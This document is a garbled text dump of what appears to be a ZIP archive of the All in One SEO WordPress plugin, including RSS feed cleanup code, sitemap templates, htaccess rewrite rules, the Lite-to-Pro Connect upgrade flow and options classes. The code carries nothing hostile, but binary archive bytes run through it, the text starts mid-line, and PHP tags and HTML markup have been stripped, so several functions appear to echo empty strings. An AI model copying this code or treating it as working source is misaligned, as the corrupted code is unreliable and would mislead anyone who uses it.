    templates->getTemplate( 'sitemap/xsl/partials/pagination.php', [ 'sitemapUrl' => $sitemapUrl, 'currentPage' => $currentPage, 'linksPerIndex' => $linksPerIndex, 'total' => $xslParams['pagination']['total'], 'showing' => $xslParams['pagination']['showing'] ] ); } ?>
    templates->getTemplate( 'sitemap/xsl/templates/header.php', [ 'utmMedium' => $utmMedium ] ); ?> templates->getTemplate( 'sitemap/xsl/templates/format-priority.php' ); ?> templates->getTemplate( 'sitemap/xsl/templates/empty-sitemap.php', [ 'utmMedium' => $utmMedium, 'items' => [ [ 'title' => __( 'Sitemap Index', 'all-in-one-seo-pack' ), 'url' => $sitemapUrl ] ] ] ); ?>
    PKÉ—[þŽû PKÉ—[Vfš÷ÝÝGall-in-one-seo-pack/app/Common/Views/sitemap/htaccess-rewrite-rules.phpnu„[µü¤ # START: All in One SEO Sitemap Rewrite Rules # Do not make edits to these rules! RewriteEngine On RewriteRule sitemap(|[0-9]+)\.xml$ /index.php [L] RewriteRule (default|video)-sitemap\.xsl /index.php [L] # END: All in One SEO Sitemap Rewrite RulesPKÉ—[ÒÁ›1ô6ô6&all-in-one-seo-pack/app/Common/Rss.phpnu„[µü¤options->searchAppearance->advanced->crawlCleanup->enable ) { return; } // Control which feed links are visible. remove_action( 'wp_head', 'feed_links_extra', 3 ); add_action( 'wp_head', [ $this, 'rssFeedLinks' ], 3 ); if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->global ) { add_filter( 'feed_links_show_posts_feed', '__return_false' ); } if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->globalComments ) { add_filter( 'feed_links_show_comments_feed', '__return_false' ); } // Disable feeds that we no longer want on this site. add_action( 'wp', [ $this, 'disableFeeds' ], -1000 ); } /** * Adds content before or after the RSS excerpt. * * @since 4.0.0 * * @param string $content The post excerpt. * @return string The post excerpt with prepended/appended content. */ public function addRssContentExcerpt( $content ) { return $this->addRssContent( $content, 'excerpt' ); } /** * Adds content before or after the RSS post. * * @since 4.0.0 * * @param string $content The post content. * @param string $type Type of feed. * @return string The post content with prepended/appended content. */ public function addRssContent( $content, $type = 'complete' ) { $content = trim( $content ); if ( empty( $content ) ) { return ''; } if ( is_feed() ) { global $wp_query; $isHome = is_home(); if ( $isHome ) { // If this feed is for the static blog page, we must temporarily set "is_home" to false. // Otherwise any getPost() calls will return the blog page object for every post in the feed. $wp_query->is_home = false; } $before = aioseo()->tags->replaceTags( aioseo()->options->rssContent->before, get_the_ID() ); $after = aioseo()->tags->replaceTags( aioseo()->options->rssContent->after, get_the_ID() ); if ( $before || $after ) { if ( 'excerpt' === $type ) { $content = wpautop( $content ); } $content = aioseo()->helpers->decodeHtmlEntities( $before ) . $content . aioseo()->helpers->decodeHtmlEntities( $after ); } // Set back to the original value. $wp_query->is_home = $isHome; } return $content; } /** * Disable feeds we don't want to have on this site. * * @since 4.2.1 * * @return void */ public function disableFeeds() { // This should only run if we are trying to parse a feed. if ( ! is_feed() ) { return; } $rssFeed = get_query_var( 'feed' ); $homeUrl = get_home_url(); // Atom feed. if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->atom && 'atom' === $rssFeed ) { $this->redirectRssFeed( $homeUrl ); } // RDF/RSS 1.0 feed. if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->rdf && 'rdf' === $rssFeed ) { $this->redirectRssFeed( $homeUrl ); } // Global feed. if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->global && [ 'feed' => 'feed' ] === $GLOBALS['wp_query']->query ) { $this->redirectRssFeed( $homeUrl ); } // Global comments feed. if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->globalComments && is_comment_feed() && ! ( is_singular() || is_attachment() ) ) { $this->redirectRssFeed( $homeUrl ); } // Static blog page feed. if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->staticBlogPage && aioseo()->helpers->getBlogPageId() === get_queried_object_id() ) { $this->redirectRssFeed( $homeUrl ); } // Post comment feeds. if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->postComments && is_comment_feed() && is_singular() ) { $this->redirectRssFeed( $homeUrl ); } // Attachment feeds. if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->attachments && 'feed' === $rssFeed && get_query_var( 'attachment', false ) ) { $this->redirectRssFeed( $homeUrl ); } // Author feeds. if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->authors && is_author() ) { $this->redirectRssFeed( get_author_posts_url( (int) get_query_var( 'author' ) ) ); } // Search results feed. if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->search && is_search() ) { $this->redirectRssFeed( esc_url( trailingslashit( $homeUrl ) . '?s=' . get_search_query() ) ); } // All post types. $archives = aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->archives->included; $postType = $this->getTheQueriedPostType(); if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->archives->all && ! in_array( $postType, $archives, true ) && is_post_type_archive() ) { $this->redirectRssFeed( get_post_type_archive_link( $postType ) ); } // All taxonomies. $taxonomies = aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->taxonomies->included; $term = get_queried_object(); if ( is_a( $term, 'WP_Term' ) && ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->taxonomies->all && ! in_array( $term->taxonomy, $taxonomies, true ) && ( is_category() || is_tag() || is_tax() ) ) { $termUrl = get_term_link( $term, $term->taxonomy ); if ( is_wp_error( $termUrl ) ) { $termUrl = $homeUrl; } $this->redirectRssFeed( $termUrl ); } // Paginated feed pages. This one is last since we are using a regular expression to validate. if ( ! aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->paginated && preg_match( '/(\d+\/|(?<=\/)page\/\d+\/)$/', $_SERVER['REQUEST_URI'] ) ) { $this->redirectRssFeed( $homeUrl ); } } /** * Get the currently queried post type. * * @since 4.2.1 * * @return string The queried post type. */ private function getTheQueriedPostType() { $postType = get_query_var( 'post_type' ); if ( is_array( $postType ) ) { $postType = reset( $postType ); } return $postType; } /** * Redirect the feed to the appropriate URL. * * @since 4.2.1 * * @return void */ private function redirectRssFeed( $url ) { if ( empty( $url ) ) { return; } // Set or remove headers. header_remove( 'Content-Type' ); header_remove( 'Last-Modified' ); header_remove( 'Expires' ); $cache = 'public, max-age=604800, s-maxage=604800, stale-while-revalidate=120, stale-if-error=14400'; if ( is_user_logged_in() ) { $cache = 'private, max-age=0'; } header( 'Cache-Control: ' . $cache, true ); wp_safe_redirect( $url, 301, AIOSEO_PLUGIN_SHORT_NAME ); } /** * Rewrite the RSS feed links. * * @since 4.2.1 * * @param array $args The arguments to filter. * @return void */ public function rssFeedLinks( $args ) { $defaults = [ // Translators: Separator between blog name and feed type in feed links. 'separator' => _x( '-', 'feed link', 'all-in-one-seo-pack' ), // Translators: 1 - Blog name, 2 - Separator (raquo), 3 - Post title. 'singletitle' => __( '%1$s %2$s %3$s Comments Feed', 'all-in-one-seo-pack' ), // Translators: 1 - Blog name, 2 - Separator (raquo), 3 - Category name. 'cattitle' => __( '%1$s %2$s %3$s Category Feed', 'all-in-one-seo-pack' ), // Translators: 1 - Blog name, 2 - Separator (raquo), 3 - Tag name. 'tagtitle' => __( '%1$s %2$s %3$s Tag Feed', 'all-in-one-seo-pack' ), // Translators: 1 - Blog name, 2 - Separator (raquo), 3 - Term name, 4: Taxonomy singular name. 'taxtitle' => __( '%1$s %2$s %3$s %4$s Feed', 'all-in-one-seo-pack' ), // Translators: 1 - Blog name, 2 - Separator (raquo), 3 - Author name. 'authortitle' => __( '%1$s %2$s Posts by %3$s Feed', 'all-in-one-seo-pack' ), // Translators: 1 - Blog name, 2 - Separator (raquo), 3 - Search query. 'searchtitle' => __( '%1$s %2$s Search Results for “%3$s” Feed', 'all-in-one-seo-pack' ), // Translators: 1 - Blog name, 2 - Separator (raquo), 3 - Post type name. 'posttypetitle' => __( '%1$s %2$s %3$s Feed', 'all-in-one-seo-pack' ), ]; $args = wp_parse_args( $args, $defaults ); $attributes = [ 'title' => null, 'href' => null ]; if ( aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->postComments && is_singular() ) { $attributes = $this->getPostCommentsAttributes( $args ); } $archives = aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->archives->included; $postType = $this->getTheQueriedPostType(); if ( ( aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->archives->all || in_array( $postType, $archives, true ) ) && is_post_type_archive() ) { $attributes = $this->getPostTypeArchivesAttributes( $args ); } // All taxonomies. $taxonomies = aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->taxonomies->included; $term = get_queried_object(); if ( $term && isset( $term->taxonomy ) && ( aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->taxonomies->all || in_array( $term->taxonomy, $taxonomies, true ) ) && ( is_category() || is_tag() || is_tax() ) ) { $attributes = $this->getTaxonomiesAttributes( $args, $term ); } if ( aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->authors && is_author() ) { $attributes = $this->getAuthorAttributes( $args ); } if ( aioseo()->options->searchAppearance->advanced->crawlCleanup->feeds->search && is_search() ) { $attributes = $this->getSearchAttributes( $args ); } if ( ! empty( $attributes['title'] ) && ! empty( $attributes['href'] ) ) { echo '' . "\n"; } } /** * Retrieve the attributes for post comments feed. * * @since 4.2.1 * * @param array $args An array of arguments. * @return array An array of attributes. */ private function getPostCommentsAttributes( $args ) { $id = 0; $post = get_post( $id ); $title = null; $href = null; if ( comments_open() || pings_open() || 0 < $post->comment_count ) { $title = sprintf( $args['singletitle'], get_bloginfo( 'name' ), $args['separator'], the_title_attribute( [ 'echo' => false ] ) ); $href = get_post_comments_feed_link( $post->ID ); } return [ 'title' => $title, 'href' => $href ]; } /** * Retrieve the attributes for post type archives feed. * * @since 4.2.1 * * @param array $args An array of arguments. * @return array An array of attributes. */ private function getPostTypeArchivesAttributes( $args ) { $postTypeObject = get_post_type_object( $this->getQueriedPostType() ); $title = sprintf( $args['posttypetitle'], get_bloginfo( 'name' ), $args['separator'], $postTypeObject->labels->name ); $href = get_post_type_archive_feed_link( $postTypeObject->name ); return [ 'title' => $title, 'href' => $href ]; } /** * Retrieve the attributes for taxonomies feed. * * @since 4.2.1 * * @param array $args An array of arguments. * @param \WP_Term $term The term. * @return array An array of attributes. */ private function getTaxonomiesAttributes( $args, $term ) { $title = null; $href = null; if ( is_category() ) { $title = sprintf( $args['cattitle'], get_bloginfo( 'name' ), $args['separator'], $term->name ); $href = get_category_feed_link( $term->term_id ); } if ( is_tag() ) { $title = sprintf( $args['tagtitle'], get_bloginfo( 'name' ), $args['separator'], $term->name ); $href = get_tag_feed_link( $term->term_id ); } if ( is_tax() ) { $tax = get_taxonomy( $term->taxonomy ); $title = sprintf( $args['taxtitle'], get_bloginfo( 'name' ), $args['separator'], $term->name, $tax->labels->singular_name ); $href = get_term_feed_link( $term->term_id, $term->taxonomy ); } return [ 'title' => $title, 'href' => $href ]; } /** * Retrieve the attributes for the author feed. * * @since 4.2.1 * * @param array $args An array of arguments. * @return array An array of attributes. */ private function getAuthorAttributes( $args ) { $authorId = (int) get_query_var( 'author' ); $title = sprintf( $args['authortitle'], get_bloginfo( 'name' ), $args['separator'], get_the_author_meta( 'display_name', $authorId ) ); $href = get_author_feed_link( $authorId ); return [ 'title' => $title, 'href' => $href ]; } /** * Retrieve the attributes for the search feed. * * @since 4.2.1 * * @param array $args An array of arguments. * @return array An array of attributes. */ private function getSearchAttributes( $args ) { $title = sprintf( $args['searchtitle'], get_bloginfo( 'name' ), $args['separator'], get_search_query( false ) ); $href = get_search_feed_link(); return [ 'title' => $title, 'href' => $href ]; } /** * Get the currently queried post type. * * @since 4.2.1 * * @return string The currently queried post type. */ private function getQueriedPostType() { $postType = get_query_var( 'post_type' ); if ( is_array( $postType ) ) { $postType = reset( $postType ); } return $postType; } }PKÉ—[:xêÍÆ Æ 6all-in-one-seo-pack/app/Lite/Admin/Notices/Notices.phpnu„[µü¤wooUpsellNotice(); } /** * Validates the notification type. * * @since 4.0.0 * * @param string $type The notification type we are targeting. * @return boolean True if yes, false if no. */ public function validateType( $type ) { $validated = parent::validateType( $type ); // Any lite notification should pass here. if ( 'lite' === $type ) { $validated = true; } return $validated; } /** * Add a notice if WooCommerce is detected and not licensed or running Lite. * * @since 4.0.0 * * @return void */ private function wooUpsellNotice() { $notification = Models\Notification::getNotificationByName( 'woo-upsell' ); if ( ! class_exists( 'WooCommerce' ) ) { if ( $notification->exists() ) { Models\Notification::deleteNotificationByName( 'woo-upsell' ); } return; } if ( $notification->exists() ) { return; } Models\Notification::addNotification( [ 'slug' => uniqid(), 'notification_name' => 'woo-upsell', // Translators: 1 - "WooCommerce". 'title' => sprintf( __( 'Advanced %1$s Support', 'all-in-one-seo-pack' ), 'WooCommerce' ), // Translators: 1 - "WooCommerce", 2 - The plugin short name ("AIOSEO"). 'content' => sprintf( __( 'We have detected you are running %1$s. Upgrade to %2$s to unlock our advanced eCommerce SEO features, including SEO for Product Categories and more.', 'all-in-one-seo-pack' ), 'WooCommerce', AIOSEO_PLUGIN_SHORT_NAME . ' Pro' ), // phpcs:ignore Generic.Files.LineLength.MaxExceeded 'type' => 'info', 'level' => [ 'all' ], // Translators: 1 - "Pro". 'button1_label' => sprintf( __( 'Upgrade to %1$s', 'all-in-one-seo-pack' ), 'Pro' ), 'button1_action' => html_entity_decode( apply_filters( 'aioseo_upgrade_link', aioseo()->helpers->utmUrl( AIOSEO_MARKETING_URL . 'lite-upgrade/', 'woo-notification-upsell', false ) ) ), 'start' => gmdate( 'Y-m-d H:i:s' ) ] ); } }PKÉ—[ñ;ð"v v ,all-in-one-seo-pack/app/Lite/Admin/Admin.phpnu„[µü¤connect = new Connect(); } /** * Actually adds the menu items to the admin bar. * * @since 4.0.0 * * @return void */ protected function addAdminBarMenuItems() { // Add an upsell to Pro. if ( current_user_can( $this->getPageRequiredCapability( '' ) ) ) { $this->adminBarMenuItems['aioseo-pro-upgrade'] = [ 'parent' => 'aioseo-main', 'title' => '' . __( 'Upgrade to Pro', 'all-in-one-seo-pack' ) . '', 'id' => 'aioseo-pro-upgrade', 'href' => apply_filters( 'aioseo_upgrade_link', esc_url( admin_url( 'admin.php?page=aioseo-tools&aioseo-redirect-upgrade=1' ) ) ), 'meta' => [ 'target' => '_blank' ], ]; } parent::addAdminBarMenuItems(); } /** * Add the menu inside of WordPress. * * @since 4.0.0 * * @return void */ public function addMenu() { parent::addMenu(); $capability = $this->getPageRequiredCapability( '' ); // We use the global submenu, because we are adding an external link here. if ( current_user_can( $capability ) ) { global $submenu; $submenu[ $this->pageSlug ][] = [ '' . esc_html__( 'Upgrade to Pro', 'all-in-one-seo-pack' ) . '', $capability, apply_filters( 'aioseo_upgrade_link', esc_url( admin_url( 'admin.php?page=aioseo-tools&aioseo-redirect-upgrade=1' ) ) ) ]; } } /** * Check the query args to see if we need to redirect to an external URL. * * @since 4.2.3 * * @return void */ protected function checkForRedirects() { $mappedUrls = [ // Added to resolve an issue with the open_basedir in the IIS. // https://github.com/awesomemotive/aioseo/issues/3243 'aioseo-redirect-upgrade' => apply_filters( 'aioseo_upgrade_link', aioseo()->helpers->utmUrl( AIOSEO_MARKETING_URL . 'lite-upgrade/', 'admin-bar', null, false ) ) ]; foreach ( $mappedUrls as $queryArg => $redirectUrl ) { if ( isset( $_GET[ $queryArg ] ) ) { // phpcs:ignore HM.Security.NonceVerification.Recommended wp_redirect( $redirectUrl ); } } } }PKÉ—[™U &.&..all-in-one-seo-pack/app/Lite/Admin/Connect.phpnu„[µü¤loadConnectPro(); return; } $this->loadConnect(); // phpcs:enable } /** * Load the Connect template. * * @since 4.0.0 * * @return void */ private function loadConnect() { $this->enqueueScripts(); $this->connectHeader(); $this->connectContent(); $this->connectFooter(); exit; } /** * Load the Connect Pro template. * * @since 4.0.0 * * @return void */ private function loadConnectPro() { $this->enqueueScriptsPro(); $this->connectHeader(); $this->connectContent(); $this->connectFooter( 'pro' ); exit; } /** * Enqueue's scripts for the setup wizard. * * @since 4.0.0 * * @return void */ public function enqueueScripts() { // We don't want any plugin adding notices to our screens. Let's clear them out here. remove_all_actions( 'admin_notices' ); remove_all_actions( 'all_admin_notices' ); aioseo()->core->assets->load( 'src/vue/standalone/connect/main.js', [], aioseo()->helpers->getVueData() ); } /** * Enqueue's scripts for the setup wizard. * * @since 4.0.0 * * @return void */ public function enqueueScriptsPro() { // We don't want any plugin adding notices to our screens. Let's clear them out here. remove_all_actions( 'admin_notices' ); remove_all_actions( 'all_admin_notices' ); aioseo()->core->assets->load( 'src/vue/standalone/connect-pro/main.js', [], aioseo()->helpers->getVueData() ); } /** * Outputs the simplified header used for the Onboarding Wizard. * * @since 4.0.0 * * @return void */ public function connectHeader() { ?> > <?php // Translators: 1 - The plugin name ("All in One SEO"). echo sprintf( esc_html__( '%1$s › Connect', 'all-in-one-seo-pack' ), esc_html( AIOSEO_PLUGIN_NAME ) ); ?> '; aioseo()->templates->getTemplate( 'admin/settings-page.php' ); echo ''; } /** * Outputs the simplified footer used for the Onboarding Wizard. * * @since 4.0.0 * * @return void */ public function connectFooter( $pro = '' ) { ?> esc_html__( 'You are not allowed to install plugins.', 'all-in-one-seo-pack' ) ]; } if ( empty( $key ) ) { return [ 'error' => esc_html__( 'Please enter your license key to connect.', 'all-in-one-seo-pack' ), ]; } // Verify pro version is not installed. $active = activate_plugin( 'all-in-one-seo-pack-pro/all_in_one_seo_pack_pro', false, false, true ); if ( ! is_wp_error( $active ) ) { // Deactivate plugin. deactivate_plugins( plugin_basename( AIOSEO_FILE ), false, false ); return [ 'error' => esc_html__( 'Pro version is already installed.', 'all-in-one-seo-pack' ) ]; } // Just check if network is set. $network = isset( $_POST['network'] ) ? (bool) wp_unslash( $_POST['network'] ) : false; // phpcs:ignore HM.Security.ValidatedSanitizedInput.InputNotSanitized, HM.Security.NonceVerification.Missing, Generic.Files.LineLength.MaxExceeded $network = ! empty( $network ); // Generate a hash that can be compared after the user is redirected back. $oth = hash( 'sha512', wp_rand() ); $hashedOth = hash_hmac( 'sha512', $oth, wp_salt() ); // Save the options. aioseo()->internalOptions->internal->connect->key = $key; aioseo()->internalOptions->internal->connect->time = time(); aioseo()->internalOptions->internal->connect->network = $network; aioseo()->internalOptions->internal->connect->token = $oth; $url = add_query_arg( [ 'key' => $key, 'network' => $network, 'token' => $hashedOth, 'version' => aioseo()->version, 'siteurl' => admin_url(), 'homeurl' => home_url(), 'endpoint' => admin_url( 'admin-ajax.php' ), 'php' => PHP_VERSION, 'wp' => get_bloginfo( 'version' ), 'redirect' => rawurldecode( base64_encode( $redirect ? $redirect : admin_url( 'admin.php?page=aioseo-settings' ) ) ), 'v' => 1, ], defined( 'AIOSEO_UPGRADE_URL' ) ? AIOSEO_UPGRADE_URL : 'https://upgrade.aioseo.com' ); // We're storing the ID of the user who is installing Pro so that we can add capabilties for him after upgrading. aioseo()->core->cache->update( 'connect_active_user', get_current_user_id(), 15 * MINUTE_IN_SECONDS ); return [ 'url' => $url, ]; } /** * Process AIOSEO Connect. * * @since 1.0.0 * * @return array An array containing a valid response or an error message. */ public function process() { $hashedOth = ! empty( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; // phpcs:ignore HM.Security.NonceVerification.Missing $downloadUrl = ! empty( $_POST['file'] ) ? esc_url_raw( wp_unslash( $_POST['file'] ) ) : ''; // phpcs:ignore HM.Security.NonceVerification.Missing $error = sprintf( // Translators: 1 - The marketing site domain ("aioseo.com"). esc_html__( 'Could not install upgrade. Please download from %1$s and install manually.', 'all-in-one-seo-pack' ), esc_html( AIOSEO_MARKETING_DOMAIN ) ); $success = esc_html__( 'Plugin installed & activated.', 'all-in-one-seo-pack' ); // Check if all required params are present. if ( empty( $downloadUrl ) || empty( $hashedOth ) ) { wp_send_json_error( $error ); } $oth = aioseo()->internalOptions->internal->connect->token; if ( empty( $oth ) ) { wp_send_json_error( $error ); } // Check if the stored hash matches the salted one that is sent back from the server. if ( hash_hmac( 'sha512', $oth, wp_salt() ) !== $hashedOth ) { wp_send_json_error( $error ); } // Delete connect token so we don't replay. aioseo()->internalOptions->internal->connect->token = null; // Verify pro not activated. if ( aioseo()->pro ) { wp_send_json_success( $success ); } // Check license key. $licenseKey = aioseo()->internalOptions->internal->connect->key; if ( ! $licenseKey ) { wp_send_json_error( esc_html__( 'You are not licensed.', 'all-in-one-seo-pack' ) ); } // Set the license key in a new option so we can get it when Pro is activated. aioseo()->internalOptions->internal->validLicenseKey = $licenseKey; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/class-wp-screen.php'; require_once ABSPATH . 'wp-admin/includes/screen.php'; // Set the current screen to avoid undefined notices. set_current_screen( 'toplevel_page_aioseo' ); // Prepare variables. $url = esc_url_raw( add_query_arg( [ 'page' => 'aioseo-settings', ], admin_url( 'admin.php' ) ) ); // Verify pro not installed. $network = aioseo()->internalOptions->internal->connect->network; $active = activate_plugin( 'all-in-one-seo-pack-pro/all_in_one_seo_pack.php', $url, $network, true ); if ( ! is_wp_error( $active ) ) { aioseo()->internalOptions->internal->connect->reset(); // Because the regular activation hooks won't run, we need to add capabilities for the installing user so that he doesn't run into an error on the first request. aioseo()->activate->addCapabilitiesOnUpgrade(); deactivate_plugins( plugin_basename( AIOSEO_FILE ), false, $network ); wp_send_json_success( $success ); } $creds = request_filesystem_credentials( $url, '', false, false, null ); // Check for file system permissions. if ( false === $creds ) { wp_send_json_error( $error ); } $fs = aioseo()->core->fs->noConflict(); $fs->init( $creds ); if ( ! $fs->isWpfsValid() ) { wp_send_json_error( $error ); } // Do not allow WordPress to search/download translations, as this will break JS output. remove_action( 'upgrader_process_complete', [ 'Language_Pack_Upgrader', 'async_upgrade' ], 20 ); // Create the plugin upgrader with our custom skin. $installer = new Utils\PluginUpgraderSilentAjax( new Utils\PluginUpgraderSkin() ); // Error check. if ( ! method_exists( $installer, 'install' ) ) { wp_send_json_error( $error ); } $installer->install( $downloadUrl ); // Flush the cache and return the newly installed plugin basename. wp_cache_flush(); $pluginBasename = $installer->plugin_info(); if ( ! $pluginBasename ) { wp_send_json_error( $error ); } // Activate the plugin silently. $activated = activate_plugin( $pluginBasename, '', $network, true ); if ( is_wp_error( $activated ) ) { wp_send_json_error( esc_html__( 'The Pro version installed correctly, but it needs to be activated from the Plugins page inside your WordPress admin.', 'all-in-one-seo-pack' ) ); } aioseo()->internalOptions->internal->connect->reset(); // Because the regular activation hooks won't run, we need to add capabilities for the installing user so that he doesn't run into an error on the first request. aioseo()->activate->addCapabilitiesOnUpgrade(); deactivate_plugins( plugin_basename( AIOSEO_FILE ), false, $network ); wp_send_json_success( $success ); } }PKÉ—[#=,2ÑÑ3all-in-one-seo-pack/app/Lite/Admin/PostSettings.phpnu„[µü¤helpers->getPublicTaxonomies(); foreach ( $taxonomies as $taxonomy ) { add_action( $taxonomy['name'] . '_edit_form', [ $this, 'addTaxonomyUpsell' ] ); add_action( 'after-' . $taxonomy['name'] . '-table', [ $this, 'addTaxonomyUpsell' ] ); } } } /** * Add Taxonomy Upsell * * @since 4.0.0 * * @return void */ public function addTaxonomyUpsell() { $screen = aioseo()->helpers->getCurrentScreen(); if ( ! isset( $screen->parent_base ) || 'edit' !== $screen->parent_base || empty( $screen->taxonomy ) ) { return; } include_once AIOSEO_DIR . '/app/Lite/Views/taxonomy-upsell.html'; } }PKÉ—[gÍ­NN,all-in-one-seo-pack/app/Lite/Admin/Usage.phpnu„[µü¤enabled = aioseo()->options->advanced->usageTracking; } /** * Get the type for the request. * * @since 4.0.0 * * @return string The install type. */ public function getType() { return 'lite'; } }PKÉ—[Ë:*éé(all-in-one-seo-pack/app/Lite/Api/Api.phpnu„[µü¤routes, $this->liteRoutes ); } }PKÉ—[[xXTT+all-in-one-seo-pack/app/Lite/Api/Wizard.phpnu„[µü¤get_json_params(); $section = ! empty( $body['section'] ) ? sanitize_text_field( $body['section'] ) : null; $wizard = ! empty( $body['wizard'] ) ? $body['wizard'] : null; // Save the smart recommendations section. if ( 'smartRecommendations' === $section && ! empty( $wizard['smartRecommendations'] ) ) { $smartRecommendations = $wizard['smartRecommendations']; if ( isset( $smartRecommendations['usageTracking'] ) ) { aioseo()->options->advanced->usageTracking = $smartRecommendations['usageTracking']; } } return $response; } }PKÉ—[µwY   -all-in-one-seo-pack/app/Lite/Main/Filters.phpnu„[µü¤ [ // Translators: This is an action link users can click to open a feature request. 'label' => __( 'Suggest a Feature', 'all-in-one-seo-pack' ), 'url' => aioseo()->helpers->utmUrl( AIOSEO_MARKETING_URL . 'suggest-a-feature/', 'plugin-row-meta', 'Feature' ), ] ]; return $this->parseActionLinks( $actions, $pluginFile, $actionLinks ); } /** * Registers our action links for the plugins page. * * @since 4.0.0 * * @param array $actions List of existing actions. * @param string $pluginFile The plugin file. * @return array List of action links. */ public function pluginActionLinks( $actions, $pluginFile = '' ) { $actionLinks = [ 'settings' => [ 'label' => __( 'SEO Settings', 'all-in-one-seo-pack' ), 'url' => get_admin_url( null, 'admin.php?page=aioseo-settings' ), ], 'support' => [ // Translators: This is an action link users can click to open our premium support. 'label' => __( 'Support', 'all-in-one-seo-pack' ), 'url' => aioseo()->helpers->utmUrl( AIOSEO_MARKETING_URL . 'contact/', 'plugin-action-links', 'Support' ), ], 'docs' => [ // Translators: This is an action link users can click to open our general documentation page. 'label' => __( 'Documentation', 'all-in-one-seo-pack' ), 'url' => aioseo()->helpers->utmUrl( AIOSEO_MARKETING_URL . 'docs/', 'plugin-action-links', 'Documentation' ), ], 'proupgrade' => [ // Translators: This is an action link users can click to purchase a license for All in One SEO Pro. 'label' => __( 'Upgrade to Pro', 'all-in-one-seo-pack' ), 'url' => apply_filters( 'aioseo_upgrade_link', aioseo()->helpers->utmUrl( AIOSEO_MARKETING_URL . 'lite-upgrade/', 'plugin-action-links', 'Upgrade', false ) ), ] ]; if ( isset( $actions['edit'] ) ) { unset( $actions['edit'] ); } return $this->parseActionLinks( $actions, $pluginFile, $actionLinks, 'before' ); } }PKÉ—[kÐc«998all-in-one-seo-pack/app/Lite/Options/InternalOptions.phpnu„[µü¤ [ 'activated' => [ 'type' => 'number', 'default' => 0 ], 'firstActivated' => [ 'type' => 'number', 'default' => 0 ], 'installed' => [ 'type' => 'number', 'default' => 0 ], 'connect' => [ 'key' => [ 'type' => 'string' ], 'time' => [ 'type' => 'number', 'default' => 0 ], 'network' => [ 'type' => 'boolean', 'default' => false ], 'token' => [ 'type' => 'string' ] ] ] // phpcs:enable WordPress.Arrays.ArrayDeclarationSpacing.AssociativeArrayFound ]; }PKÉ—[þ‡|–¿¿0all-in-one-seo-pack/app/Lite/Options/Options.phpnu„[µü¤ [ 'usageTracking' => [ 'type' => 'boolean', 'default' => false ] ] // phpcs:enable WordPress.Arrays.ArrayDeclarationSpacing.AssociativeArrayFound ]; }PKÉ—[½ Ìn˜ ˜ /all-in-one-seo-pack/app/Lite/Traits/Options.phpnu„[µü¤getDbOptions( $this->optionsName . '_lite' ); // Refactor options. $this->defaultsMerged = array_replace_recursive( $this->defaults, $this->liteDefaults ); $mergedDefaults = array_replace_recursive( $this->liteDefaults, $this->addValueToValuesArray( $this->liteDefaults, $dbOptions ) ); $cachedOptions = aioseo()->core->optionsCache->getOptions( $this->optionsName ); $dbOptions = array_replace_recursive( $cachedOptions, $mergedDefaults ); aioseo()->core->optionsCache->setOptions( $this->optionsName, $dbOptions ); } /** * Merge defaults with liteDefaults. * * @since 4.1.4 * * @return array An array of dafults. */ public function getDefaults() { return array_replace_recursive( parent::getDefaults(), $this->liteDefaults ); } /** * Updates the options in the database. * * @since 4.1.4 * * @param string $optionsName An optional option name to update. * @param string $defaults The defaults to filter the options by. * @param array|null $options An optional options array. * @return void */ public function update( $optionsName = null, $defaults = null, $options = null ) { $optionsName = empty( $optionsName ) ? $this->optionsName . '_lite' : $optionsName; $defaults = empty( $defaults ) ? $this->liteDefaults : $defaults; // We're creating a new array here because it was setting it by reference. $cachedOptions = aioseo()->core->optionsCache->getOptions( $this->optionsName ); $optionsBefore = json_decode( wp_json_encode( $cachedOptions ), true ); parent::update( $this->optionsName, $options ); parent::update( $optionsName, $defaults, $optionsBefore ); } /** * Updates the options in the database. * * @since 4.1.4 * * @param boolean $force Whether or not to force an immediate save. * @param string $optionsName An optional option name to update. * @param string $defaults The defaults to filter the options by. * @return void */ public function save( $force = false, $optionsName = null, $defaults = null ) { if ( ! $this->shouldSave && ! $force ) { return; } $optionsName = empty( $optionsName ) ? $this->optionsName . '_lite' : $optionsName; $defaults = empty( $defaults ) ? $this->liteDefaults : $defaults; parent::save( $force, $this->optionsName ); parent::save( $force, $optionsName, $defaults ); } }PKÉ—[Î86ÌÌ.all-in-one-seo-pack/app/Lite/Utils/Helpers.phpnu„[µü¤ #poststuff.aioseo-taxonomy-upsell { min-width: auto; overflow: hidden; }

    AIOSEO Settings

    General
    Social
    Redirects
    Advanced
    Snippet Preview
    https://aioseo.com/category/uncategorized/
    Taxonomy Title | aioseo.com
    Sample taxonomy description
    Category Title
    Click on the tags below to insert variables into your title.
    Category Title
    Separator
    Site Title
    View all tags â†’
    Category Description
    Category Description
    Current or first category description.
    Category Title
    Category Title
    Current or first category title.
    Current Date
    Current Date
    The current date, localized.
    Current Day
    Current Day
    The current day of the month, localized.
    Current Month
    Current Month
    The current month, localized.
    Current Year
    Current Year
    The current year, localized.
    Custom Field
    Custom Field
    A custom field from the current page/post.
    Permalink
    Permalink
    The permalink for the current page/post.
    Separator
    Separator
    The separator defined in the search appearance settings.
    Site Title
    Site Title
    Your site title.
    Tagline
    Tagline
